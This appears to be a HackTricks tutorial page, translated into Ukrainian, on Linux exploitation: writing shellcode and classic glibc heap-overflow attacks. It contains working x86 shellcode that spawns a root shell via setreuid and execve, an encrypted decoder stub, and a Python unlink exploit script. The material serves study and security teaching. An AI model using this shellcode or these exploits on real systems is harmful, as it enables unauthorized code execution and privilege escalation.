.. | ||
rop-leaking-libc-address | ||
bypassing-canary-and-pie.md | ||
format-strings-template.md | ||
fusion.md | ||
README.md | ||
ret2lib.md | ||
rop-syscall-execv.md |
Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
2.SHELLCODE
Перегляньте переривання ядра: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; очищаємо eax
xor ebx, ebx ; ebx = 0, оскільки немає аргументів для передачі
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Виконати syscall
nasm -f elf assembly.asm —> Повертає .o
ld assembly.o -o shellcodeout —> Дає виконуваний файл, сформований з коду асемблера, і ми можемо отримати опкоди за допомогою objdump
objdump -d -Mintel ./shellcodeout —> Щоб перевірити, що це дійсно наша shellcode і отримати OpCodes
Перевірити, що shellcode працює
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Щоб перевірити, що системні виклики виконуються правильно, потрібно скомпілювати попередню програму, і системні виклики повинні з'явитися в strace ./PROGRAMA_COMPILADO
При створенні shellcode можна використати трюк. Перша інструкція - це перехід до виклику. Виклик звертається до оригінального коду і, крім того, поміщає EIP в стек. Після інструкції виклику ми помістили потрібний рядок, тому з цим EIP ми можемо вказати на рядок і продовжити виконання коду.
ЕЖ ТРУК (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ використовуючи Stack(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Huter:
Складається з невеликого коду, який проходить через сторінки пам'яті, асоційовані з процесом, у пошуках shellcode, що там зберігається (шукає якусь підпис, розміщену в shellcode). Корисно в тих випадках, коли є лише невеликий простір для ін'єкції коду.
Shellcodes поліморфні
Складаються з зашифрованих shell, які мають невеликий код, що їх розшифровує і переходить до нього, використовуючи трюк Call-Pop, це був би приклад зашифрованого цезаря:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5.Додаткові методи
Техніка Мурата
В Linux всі програми відображаються, починаючи з 0xbfffffff
Досліджуючи, як будується стек нового процесу в Linux, можна розробити експлойт таким чином, щоб програма запускалася в середовищі, єдиною змінною якого є shellcode. Адресу цієї змінної можна обчислити як: addr = 0xbfffffff - 4 - strlen(ІМ'Я_виконуваного_файлу) - strlen(shellcode)
Таким чином, можна просто отримати адресу, де знаходиться змінна середовища з shellcode.
Це можливо завдяки тому, що функція execle дозволяє створити середовище, яке містить лише бажані змінні середовища.
Форматні рядки для переповнень буфера
sprintf moves форматований рядок в змінну. Тому ви можете зловживати форматуванням рядка, щоб викликати переповнення буфера в змінній, куди копіюється вміст.
Наприклад, корисне навантаження %.44xAAAA
запише 44B+"AAAA" у змінну, що може викликати переповнення буфера.
Структури __atexit
{% hint style="danger" %} Сьогодні дуже незвично експлуатувати це. {% endhint %}
atexit()
— це функція, якій передаються інші функції як параметри. Ці функції будуть виконані під час виконання exit()
або повернення з main.
Якщо ви можете змінити адресу будь-якої з цих функцій, щоб вказати на shellcode, наприклад, ви отримаєте контроль над процесом, але це наразі складніше.
Наразі адреси функцій, які потрібно виконати, сховані за кількома структурами, і врешті-решт адреси, на які вони вказують, не є адресами функцій, а зашифровані за допомогою XOR та зсувів з випадковим ключем. Тому наразі цей вектор атаки не дуже корисний, принаймні на x86 та x64_86.
Функція шифрування — це PTR_MANGLE
. Інші архітектури, такі як m68k, mips32, mips64, aarch64, arm, hppa... не реалізують функцію шифрування, оскільки вона повертає те ж саме, що отримала на вхід. Тому ці архітектури можуть бути атаковані за цим вектором.
setjmp() & longjmp()
{% hint style="danger" %} Сьогодні дуже незвично експлуатувати це. {% endhint %}
Setjmp()
дозволяє зберігати контекст (реєстри)
longjmp()
дозволяє відновлювати контекст.
Збережені реєстри: EBX, ESI, EDI, ESP, EIP, EBP
Суть у тому, що EIP та ESP передаються функцією PTR_MANGLE
, тому архітектури, вразливі до цієї атаки, такі ж, як і вище.
Вони корисні для відновлення помилок або переривань.
Однак, з того, що я читав, інші реєстри не захищені, тому якщо є call ebx
, call esi
або call edi
всередині викликаної функції, контроль може бути захоплений. Або ви також можете змінити EBP, щоб змінити ESP.
VTable та VPTR у C++
Кожен клас має Vtable, яка є масивом вказівників на методи.
Кожен об'єкт класу має VPtr, який є вказівником на масив свого класу. VPtr є частиною заголовка кожного об'єкта, тому, якщо досягнуто перезапису VPtr, його можна змінити, щоб вказувати на фальшивий метод, так що виконання функції призведе до shellcode.
Запобіжні заходи та ухилення
Замінник Libsafe
Активується за допомогою: LD_PRELOAD=/lib/libsafe.so.2
або
“/lib/libsave.so.2” > /etc/ld.so.preload
Перехоплюються виклики до деяких небезпечних функцій іншими безпечними. Не стандартизовано. (тільки для x86, не для компіляцій з -fomit-frame-pointer, не статичних компіляцій, не всі вразливі функції стають безпечними, і LD_PRELOAD не працює в бінарних файлах з suid).
ASCII Armored Address Space
Складається з завантаження спільних бібліотек з 0x00000000 до 0x00ffffff, щоб завжди був байт 0x00. Однак це насправді не зупиняє майже жодну атаку, і тим більше в little endian.
ret2plt
Складається в тому, щоб виконати ROP так, щоб викликалася функція strcpy@plt (з plt) і вказувалася на вхід GOT, і копіювався перший байт функції, яку потрібно викликати (system()). Потім робиться те ж саме, вказуючи на GOT+1, і копіюється 2-й байт system()… Врешті-решт викликається адреса, збережена в GOT, яка буде system().
Клітки з chroot()
debootstrap -arch=i386 hardy /home/user —> Встановлює базову систему в підкаталозі
Адміністратор може вийти з однієї з цих кліток, виконавши: mkdir foo; chroot foo; cd ..
Інструментація коду
Valgrind —> Шукає помилки
Memcheck
RAD (Return Address Defender)
Insure++
8 Переповнення купи: базові експлойти
Виділений шматок
prev_size |
size | —Заголовок
*mem | Дані
Вільний шматок
prev_size |
size |
*fd | Вказівник на наступний шматок
*bk | Вказівник на попередній шматок —Заголовок
*mem | Дані
Вільні шматки знаходяться в двозв'язному списку (bin) і ніколи не можуть бути два вільних шматки разом (вони об'єднуються)
У “size” є біти для вказівки: чи використовується попередній шматок, чи був шматок виділений за допомогою mmap() і чи належить шматок до первинної арени.
Якщо при звільненні шматка один з сусідніх виявляється вільним, вони об'єднуються за допомогою макросу unlink() і новий більший шматок передається frontlink() для вставки в відповідний bin.
unlink(){
BK = P->bk; —> BK нового шматка є тим, що мав вільний шматок раніше
FD = P->fd; —> FD нового шматка є тим, що мав вільний шматок раніше
FD->bk = BK; —> BK наступного шматка вказує на новий шматок
BK->fd = FD; —> FD попереднього шматка вказує на новий шматок
}
Отже, якщо нам вдасться змінити P->bk на адресу shellcode і P->fd на адресу входу в GOT або DTORS мінус 12, ми досягнемо:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
І так shellcode виконається при виході з програми.
Крім того, 4-та інструкція unlink() записує щось, і shellcode повинна бути відремонтована для цього:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Це викликає запис 4 байтів, починаючи з 8-го байта shellcode, тому перша інструкція shellcode повинна бути jmp, щоб пропустити це і потрапити в nops, які ведуть до решти shellcode.
Отже, експлойт створюється:
У buffer1 ми поміщаємо shellcode, починаючи з jmp, щоб потрапити в nops або в решту shellcode.
Після shellcode ми вставляємо заповнювач до досягнення поля prev_size і size наступного шматка. У цих місцях ми вставляємо 0xfffffff0 (так, щоб перезаписати prev_size, щоб він мав біт, що вказує, що він вільний) і “-4“(0xfffffffc) в size (щоб, коли перевіряється в 3-му шматку, якщо 2-й насправді вільний, він перейде до зміненого prev_size, яке скаже, що він вільний) -> Таким чином, коли free() перевіряє, він перейде до size 3-го, але насправді перейде до 2-го - 4 і подумає, що 2-й шматок вільний. І тоді викликатиме unlink().
При виклику unlink() він використовуватиме як P->fd перші дані з 2-го шматка, тому туди буде вставлена адреса, яку потрібно перезаписати - 12 (оскільки в FD->bk він додасть 12 до збереженої адреси в FD). І в цю адресу буде вставлена друга адреса, яку він знайде в 2-му шматку, яка нас цікавитиме, щоб бути адресою до shellcode (помилковий P->bk).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 байтів заповнювача
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Цікаво, щоб біт, що вказує, що попередній шматок вільний, був 1
fake_size = pack("<I”, 0xfffffffc) #-4, щоб він думав, що “size” 3-го шматка на 4 байти позаду (вказує на prev_size), оскільки саме там він перевіряє, чи вільний 2-й шматок
addr_sc = pack("<I", 0x0804a008 + 8) #На початку навантаження ми вставимо 8 байтів заповнювача
got_free = pack("<I", 0x08048300 - 12) #Адреса free() в plt-12 (це буде адреса, яку перезапишуть, щоб запустити shellcode під час другого виклику free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Як вже було сказано, навантаження починається з 8 байтів заповнювача, просто так
payload += prev_size + fake_size + got_free + addr_sc #Модифікується 2-й шматок, got_free вказує на те, куди ми будемо зберігати адресу addr_sc + 12
os.system("./8.3.o " + payload)
unset() звільняючи в зворотному порядку (wargame)
Ми контролюємо 3 послідовні шматки, і вони звільняються в зворотному порядку до виділеного.
У цьому випадку:
У шматку c поміщається shellcode
Шматок a використовується для перезапису b так, щоб size мав біт PREV_INUSE, деактивований, щоб він думав, що шматок a вільний.
Крім того, в заголовку b перезаписується size, щоб він дорівнював -4.
Таким чином, програма подумає, що “a” вільний і в bin, тому викликатиме unlink() для його розв'язання. Однак, оскільки заголовок PREV_SIZE дорівнює -4, вона подумає, що шматок “a” насправді починається в b+4. Тобто, вона виконає unlink() для шматка, який починається в b+4, тому в b+12 буде вказівник “fd”, а в b+16 буде вказівник “bk”.
Таким чином, якщо в bk ми помістимо адресу до shellcode, а в fd адресу до функції “puts()”-12, ми отримаємо наше навантаження.
Техніка Frontlink
Frontlink викликається, коли звільняється щось, і жоден з його сусідніх шматків не є вільним, unlink() не викликається, а безпосередньо викликається frontlink().
Корисна вразливість, коли malloc, який атакують, ніколи не звільняється (free()).
Потрібно:
Буфер, який можна переповнити за допомогою функції введення даних
Буфер, сусідній з цим, який повинен бути звільнений, і в якому буде змінено поле fd його заголовка завдяки переповненню попереднього буфера
Буфер для звільнення з розміром більшим за 512, але меншим за попередній буфер
Буфер, оголошений перед кроком 3, який дозволяє перезаписати prev_size цього
Таким чином, досягнувши переповнення в двох mallocs неконтрольовано і в одному контрольовано, але звільняючи лише цей один, ми можемо зробити експлойт.
Вразливість double free()
Якщо двічі викликати free() з одним і тим же вказівником, залишаться два bins, що вказують на одну й ту ж адресу.
У разі повторного використання одного з них, він буде призначений без проблем. У разі використання іншого, йому буде призначено той же простір, тому ми отримаємо вказівники “fd” і “bk”, які будуть фальшивими з даними, які запише попереднє резервування.
Після free()
Попередньо звільнений вказівник використовується знову без контролю.
8 Переповнення купи: просунуті експлойти
Техніки Unlink() та FrontLink() були усунені шляхом модифікації функції unlink().
Будинок розуму
Для виклику виконання довільного коду потрібен лише один виклик free(). Важливо знайти другий шматок, який може бути переповнений попереднім і звільненим.
Виклик free() викликає public_fREe(mem), цей виконує:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mem); —> Повертає вказівник на адресу, де починається шматок (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
У [1] перевіряється поле size біт NON_MAIN_ARENA, яке можна змінити, щоб перевірка повернула true і виконала heap_for_ptr(), що робить and до “mem”, залишаючи 0 на 2.5 найменш значущих байтах (у нашому випадку з 0x0804a000 залишає 0x08000000) і отримує доступ до 0x08000000->ar_ptr (як до структури heap_info)
Таким чином, якщо ми можемо контролювати шматок, наприклад, в 0x0804a000, і буде звільнено шматок в 0x081002a0, ми можемо дістатися до адреси 0x08100000 і записати що завгодно, наприклад, 0x0804a000. Коли цей другий шматок буде звільнено, виявиться, що heap_for_ptr(ptr)->ar_ptr повертає те, що ми записали в 0x08100000 (оскільки до 0x081002a0 застосовується and, який ми бачили раніше, і звідти береться значення перших 4 байтів, ar_ptr)
Таким чином, викликається _int_free(ar_ptr, mem), тобто _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Як ми бачили раніше, ми можемо контролювати значення av, оскільки це те, що ми записали в шматок, який буде звільнено.
Так, як визначено unsorted_chunks, ми знаємо, що:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Отже, якщо в av->bins[2] ми запишемо значення __DTOR_END__-12, в останній інструкції буде записано в __DTOR_END__ адресу другого шматка.
Тобто, в першому шматку ми повинні багато разів вставити адресу __DTOR_END__-12, оскільки звідти av->bins[2] її візьме.
На адресу, куди впаде адреса другого шматка з останніми 5 нулями, потрібно записати адресу цього першого шматка, щоб heap_for_ptr() думав, що ar_ptr знаходиться на початку першого шматка і взяв звідти av->bins[2].
У другому шматку і завдяки першому ми перезаписуємо prev_size з jump 0x0c і size на щось, щоб активувати -> NON_MAIN_ARENA.
Далі в шматку 2 ми ставимо купу nops і, нарешті, shellcode.
Таким чином, буде викликано _int_free(TROZO1, TROZO2) і продовжить інструкції, щоб записати в __DTOR_END__ адресу prev_size другого шматка, який стрибне до shellcode.
Щоб застосувати цю техніку, потрібно, щоб виконувалися деякі додаткові вимоги, які ускладнюють навантаження.
Цю техніку вже не можна застосувати, оскільки було застосовано майже таке ж виправлення, як для unlink. Порівнюється, чи нове місце, на яке вказується, також вказує на нього.
Fastbin
Це варіант Будинку розуму.
Нам цікаво досягти виконання наступного коду, до якого можна дістатися після першої перевірки функції _int_free()
fb = &(av->fastbins[fastbin_index(size)] —> Де fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Таким чином, якщо в “fb” вставити адресу функції в GOT, в цю адресу буде вставлена адреса переписаного шматка. Для цього потрібно, щоб арена була близько до адрес dtors. Точніше, щоб av->max_fast знаходився за адресою, яку ми будемо переписувати.
Оскільки з Будинку розуму ми побачили, що ми контролювали позицію av.
Отже, якщо в поле size ми вставимо розмір 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() поверне fastbins[-1], що вказуватиме на av->max_fast.
У цьому випадку av->max_fast буде адресою, яка буде переписана (не на що вказує, а ця позиція буде переписана).
Крім того, потрібно, щоб сусідній шматок до звільненого був більшим за 8 -> Оскільки ми сказали, що розмір звільненого шматка дорівнює 8, в цьому фальшивому шматку нам потрібно лише вказати розмір більший за 8 (оскільки shellcode буде в звільненому шматку, на початку потрібно буде вставити jump, який впаде в nops).
Крім того, цей самий фальшивий шматок повинен бути меншим за av->system_mem. av->system_mem знаходиться на 1848 байтів далі.
Через нулі _DTOR_END_ і небагато адрес у GOT жодна з адрес цих секцій не підходить для переписування, тому давайте подивимося, як застосувати fastbin для атаки на стек.
Інший спосіб атаки — перенаправити av на стек.
Якщо ми змінимо розмір, щоб він становив 16 замість 8, тоді: fastbin_index() поверне fastbins[0] і ми можемо скористатися цим, щоб переписати стек.
Для цього не повинно бути жодного канарейка або дивних значень у стеці, насправді ми повинні знаходитись у цій: 4 байти нулів + EBP + RET.
4 байти нулів потрібні, щоб av був за цією адресою, а перший елемент av — це mutex, який повинен дорівнювати 0.
av->max_fast буде EBP і буде значенням, яке допоможе нам обійти обмеження.
У av->fastbins[0] буде переписано з адресою p і буде RET, таким чином, він стрибне до shellcode.
Крім того, у av->system_mem (1484 байти вище позиції в стеці) буде досить сміття, що дозволить нам обійти перевірку, яка виконується.
Крім того, потрібно, щоб сусідній шматок до звільненого був більшим за 8 -> Оскільки ми сказали, що розмір звільненого шматка дорівнює 16, в цьому фальшивому шматку нам потрібно лише вказати розмір більший за 8 (оскільки shellcode буде в звільненому шматку, на початку потрібно буде вставити jump, який впаде в nops, що йдуть після поля size нового фальшивого шматка).
Будинок духу
У цьому випадку ми намагаємося отримати вказівник на malloc, який може бути змінений атакуючим (наприклад, вказівник знаходиться в стеку під можливим переповненням змінної).
Таким чином, ми могли б змусити цей вказівник вказувати куди завгодно. Однак не будь-яке місце є дійсним, розмір фальшивого шматка повинен бути меншим за av->max_fast і, більш конкретно, дорівнювати запитаному розміру в майбутньому виклику malloc()+8. Тому, якщо ми знаємо, що після цього вразливого вказівника викликається malloc(40), розмір фальшивого шматка повинен дорівнювати 48.
Якщо, наприклад, програма запитувала у користувача число, ми могли б ввести 48 і вказати змінний вказівник malloc на наступні 4 байти (які могли б належати до EBP, з удачею, так що 48 залишиться позаду, як заголовок size). Крім того, адреса ptr-4+48 повинна відповідати кільком умовам (в даному випадку ptr=EBP), тобто 8 < ptr-4+48 < av->system_mem.
Якщо це виконується, коли викликається наступний malloc, який ми сказали, що це malloc(40), йому буде призначена адреса адреси EBP. Якщо атакуючий також може контролювати те, що записується в цей malloc, він може переписати як EBP, так і EIP на адресу, яку хоче.
Це, як я вважаю, тому що, коли він звільнить, free() зберігатиме, що за адресою, на яку вказує EBP стеку, є шматок ідеального розміру для нового malloc(), який потрібно зарезервувати, тому призначає цю адресу.
Будинок сили
Необхідно:
- Переповнення шматка, яке дозволяє переписати wilderness
- Виклик malloc() з розміром, визначеним користувачем
- Виклик malloc(), дані якого можуть бути визначені користувачем
Спочатку переписується size шматка wilderness на дуже велике значення (0xffffffff), так що будь-який запит на пам'ять, достатньо великий, буде оброблений у _int_malloc() без необхідності розширення купи.
Далі змінюється av->top, щоб вказувати на область пам'яті під контролем атакуючого, наприклад, стек. У av->top буде записано &EIP - 8.
Ми повинні переписати av->top, щоб він вказував на область пам'яті під контролем атакуючого:
victim = av->top;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
Victim отримує значення адреси поточного шматка wilderness (поточний av->top), а remainder — це точно сума цієї адреси плюс кількість байтів, запитаних malloc(). Тому, якщо &EIP-8 знаходиться в 0xbffff224, а av->top містить 0x080c2788, тоді кількість, яку ми повинні зарезервувати в контролюваному malloc, щоб av->top вказував на $EIP-8 для наступного malloc() буде:
0xbffff224 - 0x080c2788 = 3086207644.
Таким чином, в av->top буде збережено змінене значення, і наступний malloc вказуватиме на EIP і зможе його переписати.
Важливо знати, що розмір нового шматка wilderness повинен бути більшим за запит, зроблений останнім malloc(). Тобто, якщо wilderness вказує на &EIP-8, розмір залишиться точно в полі EBP стеку.
Будинок легенди
Корупція SmallBin
Звільнені шматки вводяться в bin залежно від їх розміру. Але перед введенням вони зберігаються в unsorted bins. Коли шматок звільняється, він не відразу потрапляє в свій bin, а залишається в unsorted bins. Потім, якщо резервується новий шматок, і попередній звільнений може бути використаний, він повертається, але якщо резервується більший, звільнений шматок в unsorted bins потрапляє в свій відповідний bin.
Щоб досягти вразливого коду, запит пам'яті повинен бути більшим за av->max_fast (72 зазвичай) і меншим за MIN_LARGE_SIZE (512).
Якщо в bins є шматок відповідного розміру до запиту, він повертається після розв'язання:
bck = victim->bk; Вказує на попередній шматок, це єдина інформація, яку ми можемо змінити.
bin->bk = bck; Передостанній шматок стає останнім, якщо bck вказує на стек, наступному зарезервованому шматку буде надана ця адреса.
bck->fd = bin; Список закривається, змушуючи цей вказувати на bin.
Потрібно:
Щоб було зарезервовано два malloc, так що до першого можна було б зробити переповнення після того, як другий був звільнений і введений у свій bin (тобто, був зарезервований malloc, більший за другий шматок перед переповненням).
Щоб malloc, зарезервований для якого надається адреса, вибрана атакуючим, контролювалася атакуючим.
Мета полягає в тому, що, якщо ми можемо зробити переповнення в купі, яка має під собою вже звільнений шматок і в його bin, ми можемо змінити його вказівник bk. Якщо ми змінимо його вказівник bk, і цей шматок стане першим у списку bin і буде зарезервований, bin буде обмануто, і йому буде сказано, що останній шматок списку (наступний, що пропонується) знаходиться за фальшивою адресою, яку ми вставили (на стек або GOT, наприклад). Тому, якщо буде знову зарезервовано інший шматок, і атакуючий має до нього доступ, йому буде надано шматок у бажаній позиції, і він зможе записати в нього.
Після звільнення зміненого шматка необхідно зарезервувати шматок, більший за звільнений, так що змінений шматок вийде з unsorted bins і потрапить у свій bin.
Як тільки він потрапить у свій bin, настав час змінити його вказівник bk за допомогою переповнення, щоб він вказував на адресу, яку ми хочемо переписати.
Таким чином, bin повинен чекати, поки не буде викликано достатньо разів malloc(), щоб знову використовувати змінений bin і обманути bin, змусивши його повірити, що наступний шматок знаходиться за фальшивою адресою. А потім буде надано шматок, який нас цікавить.
Щоб вразливість спрацювала якомога швидше, ідеально було б: резервування вразливого шматка, резервування шматка, який буде змінено, звільнення цього шматка, резервування шматка, більшего за той, що буде змінено, зміна шматка (вразливість), резервування шматка такого ж розміру, як вразливий, і резервування другого шматка такого ж розміру, і він буде вказувати на вибрану адресу.
Щоб захистити цю атаку, було використано типову перевірку, що шматок “не” є фальшивим: перевіряється, чи bck->fd вказує на victim. Тобто, в нашому випадку, чи вказує вказівник fd* фальшивого шматка, вказаного в стеку, на victim. Щоб обійти цю перевірку, атакуючий повинен мати можливість якимось чином (напевно, через стек) записати у відповідну адресу адресу victim. Щоб так виглядало, як справжній шматок.
Корупція LargeBin
Потрібні ті ж вимоги, що й раніше, і ще деякі, крім того, зарезервовані шматки повинні бути більшими за 512.
Атака така ж, як і попередня, тобто потрібно змінити вказівник bk, і потрібні всі ці виклики malloc(), але також потрібно змінити size зміненого шматка так, щоб цей size - nb був < MINSIZE.
Наприклад, потрібно, щоб size дорівнював 1552, щоб 1552 - 1544 = 8 < MINSIZE (віднімання не може бути негативним, оскільки порівнюється беззнакове).
Крім того, було введено патч, щоб ускладнити це ще більше.
Heap Spraying
В основному, це полягає в резервуванні всієї можливої пам'яті для куп і заповненні їх матрацом з nops, закінчених shellcode. Крім того, як матрац використовується 0x0c. Оскільки буде спроба стрибнути до адреси 0x0c0c0c0c, і так, якщо буде переписано якусь адресу, до якої буде викликано, з цим матрацом, буде стрибок туди. В основному, тактика полягає в резервуванні якомога більшої кількості, щоб перевірити, чи буде переписано якийсь вказівник і стрибнути до 0x0c0c0c0c, сподіваючись, що там будуть nops.
Heap Feng Shui
Складається в тому, щоб за допомогою резервувань і звільнень засіяти пам'ять так, щоб між вільними шматками залишалися зарезервовані. Буфер для переповнення буде розташований в одному з яєць.
objdump -d виконуваний файл —> Дисас функції
objdump -d ./PROGRAMA | grep FUNCION —> Отримати адресу функції
objdump -d -Mintel ./shellcodeout —> Щоб перевірити, що це дійсно наша shellcode і отримати OpCodes
objdump -t ./exec | grep varBss —> Таблиця символів, щоб отримати адреси змінних і функцій
objdump -TR ./exec | grep exit(func lib) —> Щоб отримати адреси функцій бібліотек (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Отримує адресу puts для переписування в GOT
objdump -D ./exec —> Дисас ВСЕ до входів plt
objdump -p -/exec
Info functions strncmp —> Інформація про функцію в gdb
Цікаві курси
Посилання
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримати HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.